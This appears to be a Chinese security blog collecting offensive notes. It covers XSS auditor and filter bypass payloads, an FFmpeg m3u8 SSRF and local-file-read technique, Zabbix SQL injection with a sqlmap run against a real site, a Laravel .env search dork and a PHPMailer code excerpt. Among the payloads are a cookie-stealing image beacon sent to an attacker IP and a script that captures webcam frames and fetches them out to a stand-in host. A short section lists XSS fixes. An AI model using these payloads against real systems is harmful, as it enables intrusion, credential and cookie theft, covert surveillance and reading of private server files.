• Chrome XSS Auditor Bypass Payload

    测试版本:

    测试环境:

    ===============================

    不需要交互

    http://115.159.0.191:8080/xss1.php?x=1%22%3E%3Cbr%3E%00%00%00%00%00%00%00%3Cscript%3Ealert%281%29%3C%2fscript%3E

    http://115.159.0.191:8080/xss1.php?x=1%22%3E%3Cmeta%20charset=ISO-2022-JP%3E%3Csvg%20onload%1B%28B=alert(1)%3E

    https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E

    CSP bypass via jQuery Gadget

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <!DOCTYPE html>
    <html>
    <head>
    <meta http-equiv="content-security-policy" content="script-src 'nonce-random' 'strict-dynamic';">
    <script nonce=random src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.js"></script>
    <script nonce=random>
    $(document).ready(function(){
    // code taken from http://api.jquery.com/after/
    $( ".container" ).after( $( ".child" ) );
    });
    </script>
    </head>
    <body>
    XSS XSS XSS
    <form class="child"><input name="ownerDocument"/><script>alert(1);</script></form>
    XSS XSS XSS
    <p class="container"></p>
    </body>
    </html>

    需要交互

    http://115.159.0.191:8080/xss1.php?x=1%22%3E%3Csvg%20width%3D10000px%20height%3D10000px%3E%3Ca%3E%3Crect%20width%3D10000px%20height%3D10000px%20z-index%3D9999999%20%2F%3E%3Canimate%20attributeName%3Dhref%20values%3Djavas%26%2399ript%3Aalert%281%29%3E

    https://vulnerabledoma.in/xss_auditortest?test=5&q=%3Ca%20href=/**/alert%281%29%3ECLICK%3C/a%3E%3Cbase%20href=%22javascript:%5C

  • XSS Tips 及修复方案

    关于一些XSS防御的方法

    JSON/JSONP 接口不规范导致 XSS

    1
    2
    3
    callback 未转义导致 XSS
    JSONP 输出开头未换行导致 flash 构造攻击
    JSON/JSONP 键值未转义导致 XSS

    解决方案:

    1
    2
    3
    4
    后端通过 token 或 referer 检查防止 CSRF
    对 callback 字段的输出进行限制,对 JSON 内容的键值进行转义,上文中的escapeJson
    ContentType 标准化
    JSONP输出最前面加了两个 \r\n 防止 flash 构造攻击

    前端模版里的变量展示方式错误导致 XSS

    通过预定义函数转义或者利用安全包过滤

    前端代码不规范导致 DOM XSS

    关键问题在于把数据插入到 DOM 的时候,没有做转义或者过滤

    需要转义五个字符: < > ' " & ,漏掉其中任何一个都有可能导致问题。

    富文本

    1
    2
    3
    4
    5
    6
    7
    解析html,得到所有的html标签和属性。对于不在白名单中的标签,直接删除或者转义。

    属性值里面的特殊字符要进行转义,防止跃出。比如<img width="100">如果我修改100为100" onerror=alert(1)"就变成了<img width="100" onerror=alert(1)"">了。

    对于部分引入外链的属性,如src,href等判断链接是否合法,过滤<a href=javascript:alert(1)>的情况,而且最好是只能使用指定域名下的外链。

    嵌入falsh的embed标签设置allowscriptaccess=never,allownetworking=none

    后台盲打XSS

    除常规方案外,后台页面要求配置禁止外部链接的CSP策略,确保即使存在漏洞,一般的外部攻击也无法利用。应用所有页面,在response的http头中,都需要附加上CSP策略

    =========================

    这几天在玩AFSRC的xss漏洞比赛,虽然构造出了许多绕过方法,奈何手速太慢,重复率太感人,在这开一篇,记录下日常遇到的tips

    %00(%0f)截断:

    适用:IE 6

    1
    <scri%00pt>alert(1);</scri%00pt>

    IE11 ASP.NET Request Validator bypass:

    <% style=behavior:url(: onreadystatechange=alert(1)>

    mhtml:https(IE 8)

    <iframe src=mhtml:https://louchaooo.github.io/life.html!html></iframe>

    IE8

    <comment><img src="</comment><img src=x onerror=alert(1)//">

    marquee onStart marquee onStart 重复标签绕过

    <marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart>

    IE6

    <STYLE>li {list-style-image: url("javascript:alert('styleeeeeeee')");}</STYLE><UL><LI>111</br>

    IE 8

    "><!--[if<img src=x onerror=javascript:alert(1)//]> -->

    IE 8

    <!--[if]><script>javascript:alert(1)</script -->

    IE 8

    <div style="color:rgb(''&#0;x:expression(alert(1))"></div>

    IE 7

    <s%00c%00r%00%00ip%00t>confirm(1);</s%00c%00r%00%00ip%00t>

    编码绕过

    "><DIV STYLE="width:\0065\0078\0070\0072\0065\0073\0073\0069\006F\006E\0028\0070\0072\006F\006D\0070\0074\0028\0031\0029\0029">

    IE 7

    <div style="x:expression(alert(1))">Joker</div>


    firefox

    还有一些,无非也是浏览器特性,就先不放这了

    ============一些其它的paylaod============
    探针

    '';!--"<XSS>=&{()}

    <!--<img src="--><img src=x onerror= (alert)(/xss/)//">

    <iframe src=javascript:alert('xss');height=0 width=0 /><iframe> 过滤掉on事件

    [img]javascript:alert1//http://url/onerror=//a_/img/default/usr50.gif[/img]

    <link type='application/json+oembed' href='http://ip/oembed.json'>

    1
    2
    3
    4
    5
    6
    7
    {
    "type": "image",
    "image": "xss",
    "description": "descr' onerror='alert(/XSS by skavans/)",
    "image_width": 1,
    "image_height": 1
    }

    ============盗取cookie=============
    1、xss平台
    2、
    a.php <?php fwrite(fopen('ali.txt','a'),$GET['c']).'\r\n'; ?>
    xss payload <img src="1" onerror="var a=new Image;a.src="http://IP/a.php?c='+document.cookie+'---'+location.pathname">

    ===========比较短的payload==========

    <iframe>(8)

    "onload='(alert)(8)'//>

    =============Flash Xss=============
    The ZeroClipboard.swf and ZeroClipboard10.swf are vulnerable to XSS attack, example:
    http://website/js/ZeroClipboard.swf#?id=\"))}catch(e){alert(/XSS/.source);}//&width=500&height=500
    http://website/js/ZeroClipboard10.swf#?id=\"))}catch(e){alert(/XSS/.source);}//&width=500&height=500
    http://website/js/ZeroClipboard.swf?id=\"))}catch(e){alert(/XSS/.source);}//&width=500&height=500
    http://website/js/ZeroClipboard10.swf?id=\"))}catch(e){alert(/XSS/.source);}//&width=500&height=500

    vulnerable code:

    public function ZeroClipboard(){
    ….
    var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;
    id = flashvars.id;
    ….
    ExternalInterface.call(“ZeroClipboard.dispatch”, id, “load”, null);

    this files get a id parameter from url and passed it to second parameter inside ExternalInterface.call without any validation(only numbers) or proper escaping\encoding).

    ==========html5===========

    1
    2
    3
    4
    5
    6
    <script type="text/javascript">
    function xss() {
    window[0].postMessage({ redirectURL: "javascript:alert(/xss/)" }, "*")
    }
    </script>
    <iframe src="https://xxxxxx/ilogin_2.htm" onload="xss()"></iframe>

    ===========绕过chrome auditor的payload========
    <script>alert('evil')</script

    ===================

    No space and No Slash :

    <svg•onload=alert(1)> %0C
    https://markitzeroday.com/character-restrictions/xss/2017/07/26/xss-without-dots.html

    跳出<input>标签">

    ==========XSS in Mobile Devices==========

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    <body onorientationchange=alert(orientation)>
    <html ontouchstart=alert(1)>
    <html ontouchend=alert(1)>
    <html ontouchmove=alert(1)>
    <html ontouchcancel=alert(1)>
    <svg onload=alert(navigator.connection.type)>
    <svg onload=alert(navigator.battery.level)>
    <svg onload=alert(navigator.battery.dischargingTime)>
    <svg onload=alert(navigator.battery.charging)>
    <script>
    navigator.geolocation.getCurrentPosition(function(p){
    alert('Latitude:'+p.coords.latitude+',Longitude:'+
    p.coords.longitude+',Altitude:'+p.coords.altitude);})
    </script>
    (remember to change “+” for “%2B” in URLs)
    <script>
    d=document;
    v=d.createElement(‘video’);
    c=d.createElement(‘canvas’);
    c.width=640;
    c.height=480;
    navigator.webkitGetUserMedia({‘video’:true},function(s){
    v.src=URL.createObjectURL(s);v.play()},function(){});
    c2=c.getContext(‘2d’);
    x=’c2.drawImage(v,0,0,640,480);fetch(“//HOST/”+c2.canvas.toDataURL())‘;
    setInterval(x,5000);
    </script>
    open(c2.canvas.toDataURL())
    <svg onload=navigator.vibrate(500)>
    <svg onload=navigator.vibrate([500,300,100])>

  • Laravel applications sensitive info leak

    .env 文件位于项目根目录下,作为全局环境配置文件。

    google hack "DB_PASSWORD" filetype:env

    以下内容引用自https://www.cnblogs.com/yingww/p/5607766.html

    .env文件含有数据库账号密码等敏感数据,在laravel5.2中,在本地访问127.0.0.1/laravel/.env可直接访问到.env

    为避免.env被直接访问,可使用重定向,方法如下:

    在根目录下添加.htaccess文件(与.env处于同一个目录,Apache必须开启重定向扩展)
    .htaccess文件内容如下:

    将所有的的请求都重定向到public目录下

    1
    2
    3
    4
    5
    <IfModule mod_rewrite.c>
    RewriteEngine on
    RewriteRule ^$ public/ [L]
    RewriteRule (.*) public/$1 [L]
    </IfModule>

    这时将无法访问127.0.0.1/laravel/.env

  • CVE-2016-1897/8 - FFMpeg漏洞分析

    FFmpeg是一套可以用来记录、转换数字音频、视频,并能将其转化为流的开源计算机程序。功能非常强大,是每个视频网站必不可少的多媒体文件处理程序。

    0x01 漏洞概述

    在FFMpeg2.X 由于在解析HTTP Live Streaming流媒体m3u8文件处理不当,可导致SSRF漏洞与任意文件读取漏洞。当网站允许用户上传多媒体文件,并使用FFMpeg进行处理时会触发该漏洞。

    这个漏洞有两个CVE编号,分别是CVE-2016-1897和CVE-2016-1898,它们两个的区别在于读取文件的行数,CVE-2016-1897只能读取文件的第一行,而CVE-2016-1898可以读取文件任意行,原理基本一样,这里就一起分析了。

    0x02 HLS(HTTP Live Streaming)

    由于漏洞是出现在解析HLS流媒体文件出的问题,所以我们必须先了解HLS。

    HLS(HTTP Live Streaming)是Apple公司开发的一种基于HTTP协议的流媒体通信协议,大多数都应用在PC上和Iphone上。它的基本原理是把一个视频流分成很多个很小很小很小的ts流文件,然后通过HTTP下载,每次下载一点点。在一个开始一个新的流媒体会话时,客户端都会先下载一个m3u8(播放列表 Playlist)文件,里面包含了这次HLS会话的所有数据。

    如图所示,有一个主要的m3u8格式Playlist文件,里面可以包含下级的m3u8文件,客户端会再去索引下级的m3u8,继续解析下级的Playlist文件获取最终的TS流文件的http请求地址与时间段。

    http://pl.youku.com/playlist/m3u8?vid=340270152&type=3gphd&ts=1462714824&keyframe=0&ep=dSaSGE6MUssC5ybeiz8bYiXiIiZdXP0O9h2CgdNnAtQnS%2Bm2&sid=746271452251312590fab&token=3319&ctype=12&ev=1&oip=3395898128

    这是youku一个视频的m3u8文件,内容如下:

    1
    2
    3
    4
    5
    6
    7
    8
    #EXTM3U
    #EXT-X-TARGETDURATION:6
    #EXT-X-VERSION:2
    #EXTINF:6,
    http://183.60.145.83/69777D60D183E7FE8D0BC25A4/030002010056208D059E4E15049976CD642E01-C8E5-706F-DC6D-375DE0DA5A1E.flv.ts?ts_start=0&ts_end=5.9&ts_seg_no=0&ts_keyframe=1
    #EXTINF:0,
    http://183.60.145.83/69777D60D183E7FE8D0BC25A4/030002010056208D059E4E15049976CD642E01-C8E5-706F-DC6D-375DE0DA5A1E.flv.ts?ts_start=5.9&ts_end=6.367&ts_seg_no=1&ts_keyframe=1
    #EXT-X-ENDLIST

    解析:

    1
    2
    3
    4
    5
    #EXTM3U 标签是m3u8的文件头,开头必须要这一行
    #EXT-X-TARGETDURATION 表示整个媒体的长度 这里是6秒
    #EXT-X-VERSION:2 该标签可有可无
    #EXTINF:6, 表示该一段TS流文件的长度
    #EXT-X-ENDLIST 这个相当于文件结束符

    这些是m3u8的最基本的标签,而问题就出在FFMpeg去请求TS流文件的时,由于我们可以伪造一个m3u8文件,FFMpeg不会判断里面的流地址,直接请求。

    0x03 漏洞原理

    SSRF漏洞:

    直接用FFMpeg解析一个多媒体文件

    1
    2
    3
    4
    5
    #EXTM3U
    #EXT-X-MEDIA-SEQUENCE:0
    #EXTINF:10.0,
    http://192.168.123.100:8080/1.html
    #EXT-X-ENDLIST

    #EXT-X-MEDIA-SEQUENCE#EXT-X-TARGETDURATION必须存在任意一个,前者是定义ts流文件的序号。去掉会报错:无效文件)

    ffmpeg -i test.m3u8 test.mp4(也可把m3u8格式改成其他后缀,ffmpeg会自动识别为HLS流文件)

    直接发起了http请求,这就造成一个SSRF。

    结合SSRF任意文件读取:

    FFMpeg支持很多扩展协议,其中的concat:协议可以合并多个流URL,官方称为Physical concatenation protocol

    这样可以合并多个URL concat:URL1|URL2|...|URLN

    新建一个主HLS文件h.m3u8在web服务器

    1
    2
    3
    4
    5
    #EXTM3U
    #EXT-X-MEDIA-SEQUENCE:0
    #EXTINF:10.0,
    concat:http://xxx/test.txt|http://xxx/test.txt (这两个txt都是m3u8,后缀可以随便改,ffmpeg会自动识别)
    #EXT-X-ENDLIST

    再创建一个下级的m3u8文件 test.txt,最终的请求会引到最下级的m3u8文件,也就是这个test.txt

    1
    2
    3
    4
    #EXTM3U
    #EXT-X-MEDIA-SEQUENCE:0
    #EXTINF:,
    http://xxx.com/?

    再用ffmpeg处理test.m3u8

    1
    2
    3
    4
    5
    #EXTM3U
    #EXT-X-TARGETDURATION:6
    #EXTINF:10.0,
    concat:http://xxx/h.m3u8
    #EXT-X-ENDLIST

    提示当读取第一段的时候出错,URL是http://xxx/?#EXTM3U,但我们建立的那个下级的m3u8文件 test.txt是http://xxx.com/?,多出来的“#EXTM3U,”这部分是用concat协议合并的那个txt,http://xxx/test.txt的第一行;而ffmpeg支持多种协议获取输入流,http、ftp、smb、file等,既然用concat协议可以读取文件的第一行,那把http换成file协议就可以读取本地文件了,漏洞就出在这里。

    主m3u8文件改成concat:http://xxx/test.txt|file:///etc/passwd,再请求就能读取到passwd文件的第一行,当然也可以读取内网网站的信息。

    但这样就只能读取一行,意义不大。但FFMpeg支持一个截取数据流片段的功能:subfile。用法:subfile,,start,153391104,end,268142592,,:/media/dvd/VIDEO_TS/VTS_08_1.VOB

    Start后是开始截取的偏移量,以字节为单位,end是结束的偏移量。

    既然可以截取数据流就可以利用subfile获取比较完整的文件了。测试时候一次最多只能截取32字节,所以要继续用concat合并多个数据流片段。

    1
    2
    3
    4
    5
    #EXTM3U
    #EXT-X-MEDIA-SEQUENCE:0
    #EXTINF:10.0,
    concat:http://198.56.193.29:8080/test.txt|subfile,,start,0,end,31,,:file:///etc/passwd|subfile,,start,32,end,63,,:file:///etc/passwd|subfile,,start,64,end,95,,:file:///etc/passwd|subfile,,start,96,end,127,,:file:///etc/passwd|subfile,,start,127,end,158,,:file:///etc/passwd
    #EXT-X-ENDLIST

    这样就可以读取任意文件的任意内容

    0x04 绕过大小检测

    之前的ImageMagick漏洞因为有些网站有文件大小检测而无法攻击,在这个漏洞中的测试我也发现一些网站有对上传视频文件的大小限制。这里有方法可以扩充文件大小。

    直接扩充#EXTINF,这个标签前面说过,是代表TS流文件的时间长度,可以无限扩充,直到符合大小为止,仍可正常解析。

  • zabbix SQL Inject Vul

    zabbix是一个开源的企业级性能监控解决方案。近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。

    0x01 漏洞概述

    无需登录注入这里有个前提,就是zabbix开启了guest权限。而在zabbix中,guest的默认密码为空。需要有这个条件的支持才可以进行无权限注入。

    0x02 影响程度

    • 攻击成本:低
    • 危害程度:高
    • 是否登陆:不需要
    • 影响版本:2.2.x,3.0.0-3.0.3

    0x03 漏洞测试

    在zabbix的地址后面添加:

    • 利用方式一

    /jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim estamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi story.php&profileIdx=web.item.graph&profileIdx2=2’3297&updateProfil e=true&screenitemid=&period=3600&stime=20170813040734&resourcetype= 17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=& mark_color=1

    如果出现下列代码则证明漏洞存在

    <div class="flickerfreescreen" data-timestamp="1471054088083" id="flickerfreescreen_1"><table class="list-table" id="t57ae81946b8cb"><thead><tr><th class="cell- width">Timestamp</th><th>Value</th></tr></thead><tbody><tr class="nothing-to-show"><td colspan="2">No data found.</td></tr></tbody></table></div><div class="msg-bad"><div class="msg-details"><ul><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (39, 1, 'web.item.graph.period', '3600', 2, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (40, 1, 'web.item.graph.stime', '20160813041028', 3, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (41, 1, 'web.item.graph.isnow', '1', 2, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li></ul></div><span class="overlay-close-btn" onclick="javascript: $(this).closest('.msg-bad').remove();" title="Close"></span></div>

    • 利用方式二

    latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385);select * from users where (1=1

    如果出现下列代码则证明漏洞存在

    SQL (0.000361):INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES(88, 1, 'web.latest.toggle', '1', 2, 15385); select * from users where (1=1) latest.php:746 →require_once() → CProfile::flush() → CProfile::insertDB() → DBexecute() in/home/sasha/zabbix-svn/branches/2.2/frontends/php/include/profiles.inc.php:185

    0x04 实战测试

    测试的一个Japan站

    sqlmap -u "http://157.×××.×××.98/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1(select(select+concat(0x7e,alias,0x7e,passwd,0x7e))+from+zabbix.users+LIMIT+0,1),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17" --level=3 --risk=2 --columns -T "users" -D "public"

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    Database: public
    Table: users
    [16 columns]
    +----------------+---------+
    | Column | Type |
    +----------------+---------+
    | alias | varchar |
    | attempt_clock | int4 |
    | attempt_failed | int4 |
    | attempt_ip | varchar |
    | autologin | int4 |
    | autologout | int4 |
    | lang | varchar |
    | name | varchar |
    | passwd | bpchar |
    | refresh | int4 |
    | rows_per_page | int4 |
    | surname | varchar |
    | theme | varchar |
    | type | int4 |
    | url | varchar |
    | userid | int8 |
    +----------------+---------+

    可获得最高权限

    0x05 代码分析

    zabbix 2.2.14

    • 首先从poc中的jsrpc.php文件入手,
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    require_once dirname(__FILE__).'/include/config.inc.php';

    $requestType = get_request('type', PAGE_TYPE_JSON);
    if ($requestType == PAGE_TYPE_JSON) {
    $http_request = new CHTTP_request();
    $json = new CJSON();
    $data = $json->decode($http_request->body(), true);
    }
    else {
    $data = $_REQUEST;
    }

    从这里看到data是由REQUEST赋值的,接受 GET/POST/COOKIE任意一种输入,所以payload可以用get方式传输,在payload中由method=screen.get这一部分,在源码中可以看到如下代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    case 'screen.get':
    $options = array(
    'pageFile' => !empty($data['pageFile']) ? $data['pageFile'] : null,
    'mode' => !empty($data['mode']) ? $data['mode'] : null,
    'timestamp' => !empty($data['timestamp']) ? $data['timestamp'] : time(),
    'resourcetype' => !empty($data['resourcetype']) ? $data['resourcetype'] : null,
    'screenitemid' => !empty($data['screenitemid']) ? $data['screenitemid'] : null,
    'groupid' => !empty($data['groupid']) ? $data['groupid'] : null,
    'hostid' => !empty($data['hostid']) ? $data['hostid'] : null,
    'period' => !empty($data['period']) ? $data['period'] : null,
    'stime' => !empty($data['stime']) ? $data['stime'] : null,
    'profileIdx' => !empty($data['profileIdx']) ? $data['profileIdx'] : null,
    'profileIdx2' => !empty($data['profileIdx2']) ? $data['profileIdx2'] : null,
    'updateProfile' => isset($data['updateProfile']) ? $data['updateProfile'] : null
    );
    if ($options['resourcetype'] == SCREEN_RESOURCE_HISTORY) {
    $options['itemids'] = !empty($data['itemids']) ? $data['itemids'] : null;
    $options['action'] = !empty($data['action']) ? $data['action'] : null;
    $options['filter'] = !empty($data['filter']) ? $data['filter'] : null;
    $options['filter_task'] = !empty($data['filter_task']) ? $data['filter_task'] : null;
    $options['mark_color'] = !empty($data['mark_color']) ? $data['mark_color'] : null;
    }
    elseif ($options['resourcetype'] == SCREEN_RESOURCE_CHART) {
    $options['graphid'] = !empty($data['graphid']) ? $data['graphid'] : null;
    $options['profileIdx2'] = $options['graphid'];
    }

    $screenBase = CScreenBuilder::getScreen($options);
    if (!empty($screenBase)) {
    $screen = $screenBase->get();
    }

    if (!empty($screen)) {
    if ($options['mode'] == SCREEN_MODE_JS) {
    $result = $screen;
    }
    else {
    if (is_object($screen)) {
    $result = $screen->toString();
    }
    }
    }
    else {
    $result = '';
    }
    break;

    省略部分代码

    require_once dirname(__FILE__).'/include/page_footer.php';

    其中$options[profileIdx2]赋值了$data[profileIdx2],
    之后调用这几句代码

    1
    2
    3
    4
    $screenBase = CScreenBuilder::getScreen($options);
    if (!empty($screenBase)) {
    $screen = $screenBase->get();
    }

    一时没了思路,跟几句代码死磕,找到zabbix-2.2.14/frontends/php/include/classes/screens/CScreenBuilder.phppublic static function getScreen(array $options = array())函数中没有找到可以造成漏洞的交互点,太菜了!!! ,可以看到profileIdx2已经到达了下面代码中了

    1
    2
    3
    4
    // calculate time
    $this->profileIdx = !empty($options['profileIdx']) ? $options['profileIdx'] : '';
    $this->profileIdx2 = !empty($options['profileIdx2']) ? $options['profileIdx2'] : null;
    $this->updateProfile = isset($options['updateProfile']) ? $options['updateProfile'] : true;

    一路上没有经过任何过滤,然后接着往下看可以看到

    1
    2
    3
    4
    5
    6
    7
    $this->timeline = CScreenBase::calculateTime(array(
    'profileIdx' => $this->profileIdx,
    'profileIdx2' => $this->profileIdx2,
    'updateProfile' => $this->updateProfile,
    'period' => !empty($options['period']) ? $options['period'] : null,
    'stime' => !empty($options['stime']) ? $options['stime'] : null
    ));

    profileIdx2成为了calculateTime的参数,这时我们追踪一下calculateTime函数,在zabbix-2.2.14/frontends/php/include/classes/screens/CScreenBase.php中,代码如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    public static function calculateTime(array $options = array()) {
    if (!array_key_exists('updateProfile', $options)) {
    $options['updateProfile'] = true;
    }
    if (empty($options['profileIdx2'])) {
    $options['profileIdx2'] = 0;
    }

    // show only latest data without update is set only period
    if (!empty($options['period']) && empty($options['stime'])) {
    $options['updateProfile'] = false;
    $options['profileIdx'] = '';
    }

    // period
    if (empty($options['period'])) {
    $options['period'] = !empty($options['profileIdx'])
    ? CProfile::get($options['profileIdx'].'.period', ZBX_PERIOD_DEFAULT, $options['profileIdx2'])
    : ZBX_PERIOD_DEFAULT;
    }
    else {
    if ($options['period'] < ZBX_MIN_PERIOD) {
    show_message(_n('Minimum time period to display is %1$s hour.',
    'Minimum time period to display is %1$s hours.', (int) ZBX_MIN_PERIOD / SEC_PER_HOUR));
    $options['period'] = ZBX_MIN_PERIOD;
    }
    elseif ($options['period'] > ZBX_MAX_PERIOD) {
    show_message(_n('Maximum time period to display is %1$s day.',
    'Maximum time period to display is %1$s days.', (int) ZBX_MAX_PERIOD / SEC_PER_DAY));
    $options['period'] = ZBX_MAX_PERIOD;
    }
    }
    if ($options['updateProfile'] && !empty($options['profileIdx'])) {
    CProfile::update($options['profileIdx'].'.period', $options['period'], PROFILE_TYPE_INT, $options['profileIdx2']);
    }

    重点来了,可以看到CProfile::update($options['profileIdx'].'.period', $options['period'], PROFILE_TYPE_INT, $options['profileIdx2']);这句,这时接着追踪CProfile来到page_footer.php中找到profiles.inc.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    public static function update($idx, $value, $type, $idx2 = 0) {
    if (is_null(self::$profiles)) {
    self::init();
    }

    if (!self::checkValueType($value, $type)) {
    return false;
    }

    $profile = array(
    'idx' => $idx,
    'value' => $value,
    'type' => $type,
    'idx2' => $idx2
    );

    $current = CProfile::get($idx, null, $idx2);
    if (is_null($current)) {
    if (!isset(self::$insert[$idx])) {
    self::$insert[$idx] = array();
    }
    self::$insert[$idx][$idx2] = $profile;
    }

    可以看到self::$insert[$idx][$idx2] = $profile;,参数已经到了insert中,

    然后去请教表哥,表哥提示问题出现在flush
    根据表哥的提示,

    page_footer.php中发现CProfile类的flush方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    // last page
    if (!defined('ZBX_PAGE_NO_MENU') && $page['file'] != 'profile.php') {
    CProfile::update('web.paging.lastpage', $page['file'], PROFILE_TYPE_STR);
    }

    CProfile::flush();

    // end transactions if they have not been closed already
    if (isset($DB) && isset($DB['TRANSACTIONS']) && $DB['TRANSACTIONS'] != 0) {
    error(_('Transaction has not been closed. Aborting...'));
    DBend(false);
    }

    profiles.inc.php中找到了flush函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    public static function flush() {
    // if not initialised, no changes were made
    if (is_null(self::$profiles)) {
    return true;
    }

    if (self::$userDetails['userid'] <= 0) {
    return null;
    }

    if (!empty(self::$insert) || !empty(self::$update)) {
    DBstart();
    foreach (self::$insert as $idx => $profile) {
    foreach ($profile as $idx2 => $data) {
    self::insertDB($idx, $data['value'], $data['type'], $idx2);
    }
    }

    ksort(self::$update);
    foreach (self::$update as $idx => $profile) {
    ksort($profile);
    foreach ($profile as $idx2 => $data) {
    self::updateDB($idx, $data['value'], $data['type'], $idx2);
    }
    }
    DBend();
    }
    }

    参数传入下面的insertDB函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    private static function insertDB($idx, $value, $type, $idx2) {
    $value_type = self::getFieldByType($type);

    $values = array(
    'profileid' => get_dbid('profiles', 'profileid'),
    'userid' => self::$userDetails['userid'],
    'idx' => zbx_dbstr($idx),
    $value_type => zbx_dbstr($value),
    'type' => $type,
    'idx2' => $idx2
    );
    return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
    }

    可以看到第四个参数没有过滤,通过DBexecute被带到了数据库中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    function DBexecute($query, $skip_error_messages = 0) {
    global $DB;

    if (!isset($DB['DB']) || empty($DB['DB'])) {
    return false;
    }

    $result = false;
    $time_start = microtime(true);

    $DB['EXECUTE_COUNT']++;

    switch ($DB['TYPE']) {
    case ZBX_DB_MYSQL:
    if (!$result = mysqli_query($DB['DB'], $query)) {
    error('Error in query ['.$query.'] ['.mysqli_error($DB['DB']).']');
    }
    break;

    0x06 漏洞修复

    • 版本升级
    • 打补丁
    • 关闭guest

    0x07 后记

    这里还有好多东西没有搞懂,毕竟太菜

  • PHPMailer < 5.2.18 Remote Code Execution(CVE-2016-10033)

    关键代码如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37

    protected function mailSend($header, $body)
    {
    $toArr = array();
    foreach ($this->to as $toaddr) {
    $toArr[] = $this->addrFormat($toaddr);
    }
    $to = implode(', ', $toArr);

    $params = null;
    //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
    if (!empty($this->Sender)) {
    $params = sprintf('-f%s', $this->Sender);
    }
    if ($this->Sender != '' and !ini_get('safe_mode')) {
    $old_from = ini_get('sendmail_from');
    ini_set('sendmail_from', $this->Sender);
    }
    $result = false;
    if ($this->SingleTo and count($toArr) > 1) {
    foreach ($toArr as $toAddr) {
    $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
    $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
    }
    } else {
    $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
    $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
    }
    if (isset($old_from)) {
    ini_set('sendmail_from', $old_from);
    }
    if (!$result) {
    throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
    }
    return true;
    }

    已知问题代码出现在mail()函数,首先定位到$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);这行代码。
    通过mailPassthru跟踪到下面这段代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
    //Check overloading of mail function to avoid double-encoding
    if (ini_get('mbstring.func_overload') & 1) {
    $subject = $this->secureHeader($subject);
    } else {
    $subject = $this->encodeHeader($this->secureHeader($subject));
    }

    //Can't use additional_parameters in safe_mode
    //@link http://php.net/manual/en/function.mail.php
    if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
    $result = @mail($to, $subject, $body, $header);
    } else {
    $result = @mail($to, $subject, $body, $header, $params);
    }
    return $result;
    }

